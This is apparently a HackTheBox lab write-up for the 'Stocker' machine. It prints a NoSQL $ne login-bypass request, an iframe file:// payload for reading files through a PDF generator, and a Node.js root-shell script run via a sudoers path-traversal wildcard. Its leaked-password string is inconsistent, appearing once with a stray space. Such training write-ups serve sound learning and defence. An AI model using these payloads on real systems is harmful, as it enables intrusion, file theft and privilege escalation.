cd ~/writeups
HackTheBox Easy Linux Web / PrivEsc

HackTheBox — Stocker: NoSQL Injection to LFI via Dynamic PDF

2023-06-18
NoSQL InjectionPDF XSSLFINode.jsPath Traversal

# attack chain

Recon
Subdomain
NoSQL
PDF LFI
Cred Leak
Foothold
PrivEsc

# overview

Stocker is an easy-rated Linux box on HackTheBox. The attack path starts with subdomain enumeration to discover a dev login portal backed by MongoDB. A NoSQL injection bypasses authentication, granting access to a stock purchasing app that generates dynamic PDFs. Injecting XSS into item names turns the PDF renderer into a local file reader. Credentials found in the application source enable SSH access, and a permissive sudoers wildcard on node leads to root via path traversal.

# recon

Starting with Nmap to fingerprint open services:

terminal bash
$ nmap -sCV -T4 stocker.htb

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
| ssh-hostkey:
|   3072 3d:12:97:1d:86:bc:16:16:83:60:8f:4f:06:e6:d5:4e (RSA)
|   256  7c:4d:1a:78:68:ce:12:00:df:49:10:37:f9:ad:17:4f (ECDSA)
|_  256  dd:97:80:50:a5:ba:cd:7d:55:e8:27:ed:28:fd:aa:3b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-generator: Eleventy v2.0.0
|_http-title: Stock - Coming Soon!

→ SSH on 22, nginx on 80 serving an Eleventy static site.

Browsing to the IP redirects to stocker.htb. The landing page is static with no interesting functionality. Time to hunt for subdomains.

# subdomain discovery

Using ffuf to brute-force virtual hosts:

terminal bash
$ ffuf -u http://stocker.htb/ \
    -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
    -H "Host: FUZZ.stocker.htb" -fw 6

[Status: 302, Size: 28, Words: 4, Lines: 1]
  * FUZZ: dev

→ dev.stocker.htb found — returns a 302 redirect.

After adding dev.stocker.htb to /etc/hosts, the subdomain presents a login form. The 302 redirect suggests a session-based Node.js/Express app.

# nosql injection — login bypass

Standard SQL injection payloads fail. Since the backend is Node.js with nginx, MongoDB is a likely data store. Switching the Content-Type to application/json and sending a NoSQL $ne operator bypasses authentication:

nosql_bypass.json Burp / curl
POST /login HTTP/1.1
Host: dev.stocker.htb
Content-Type: application/json

{
  "username": { "$ne": "admin" },
  "password": { "$ne": "pass" }
}

→ 302 redirect to /stock — we're in.

The $ne (not equal) operator tells MongoDB to match any document where username is not admin and password is not pass — effectively bypassing the check entirely.

# dynamic pdf xss → local file inclusion

After login, the app is a stock purchasing portal. Adding items to a basket and submitting an order generates a PDF receipt. The item names are reflected in the PDF without sanitization. Injecting an iframe into the title field forces the PDF renderer to embed local file contents:

purchase request — modified title Burp Repeater
POST /api/order HTTP/1.1
Content-Type: application/json
Cookie: connect.sid=...

{
  "basket": [
    {
      "_id": "...",
      "title": "<iframe src=file:///etc/passwd width=800 height=800></iframe>",
      "quantity": 1,
      "price": 1
    }
  ]
}

→ PDF is generated with /etc/passwd contents embedded in the iframe.

The PDF renderer (likely a headless browser) evaluates the HTML, including the file:// protocol. The error page earlier revealed the app runs from /var/www/dev/. Reading /var/www/dev/index.js exposes the MongoDB connection string with a cleartext password:

LFI payload — read index.js Burp Repeater
"title": "<iframe src=file:///var/www/dev/index.js width=800 height=800></iframe>"

# Extracted from the rendered PDF:
const dbURI = "mongodb://dev:IHeardPassworReus wordsAreBad@localhost/dev"

→ Password: IHeardPassworReusWordsAreBad

# foothold

Checking /etc/passwd from the PDF reveals the user angoose. The MongoDB password is reused for SSH — a classic credential reuse scenario:

terminal
$ ssh angoose@stocker.htb
Password: IHeardPassworReusWordsAreBad

angoose@stocker:~$ cat user.txt
→ user flag captured.

# privilege escalation → root

Checking sudo permissions reveals a wildcard in the script path:

terminal — angoose@stocker
$ sudo -l
User angoose may run the following commands on stocker:
    (ALL) /usr/bin/node /usr/local/scripts/*.js

→ Wildcard *.js — can we traverse out of /usr/local/scripts/?

The * glob in the sudoers entry does not restrict path traversal. We can write a Node.js script that spawns a root shell and reference it via ../:

terminal — path traversal to root
# Create the exploit script in our home directory
angoose@stocker:~$ cat > /home/angoose/priv.js << 'EOF'
require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})
EOF

# Traverse out of /usr/local/scripts/ to reach our script
angoose@stocker:~$ sudo /usr/bin/node /usr/local/scripts/../../../home/angoose/priv.js

# id
uid=0(root) gid=0(root) groups=0(root)

# cat /root/root.txt
→ root flag captured.

The sudoers wildcard *.js matches any string including path separators like ../../../. This allows executing arbitrary JavaScript files as root, even outside the intended directory.

# key takeaways

  • NoSQL injection bypasses authentication when JSON input is accepted and operators like $ne are not filtered
  • Dynamic PDF generators that render user-controlled HTML are a gateway to LFI via file:// iframes
  • Database credentials in application source files often get reused for system accounts
  • Sudoers wildcard paths (*.js) do not prevent directory traversal — always use absolute paths without globs
  • Node.js child_process.spawn with stdio inheritance gives a fully interactive root shell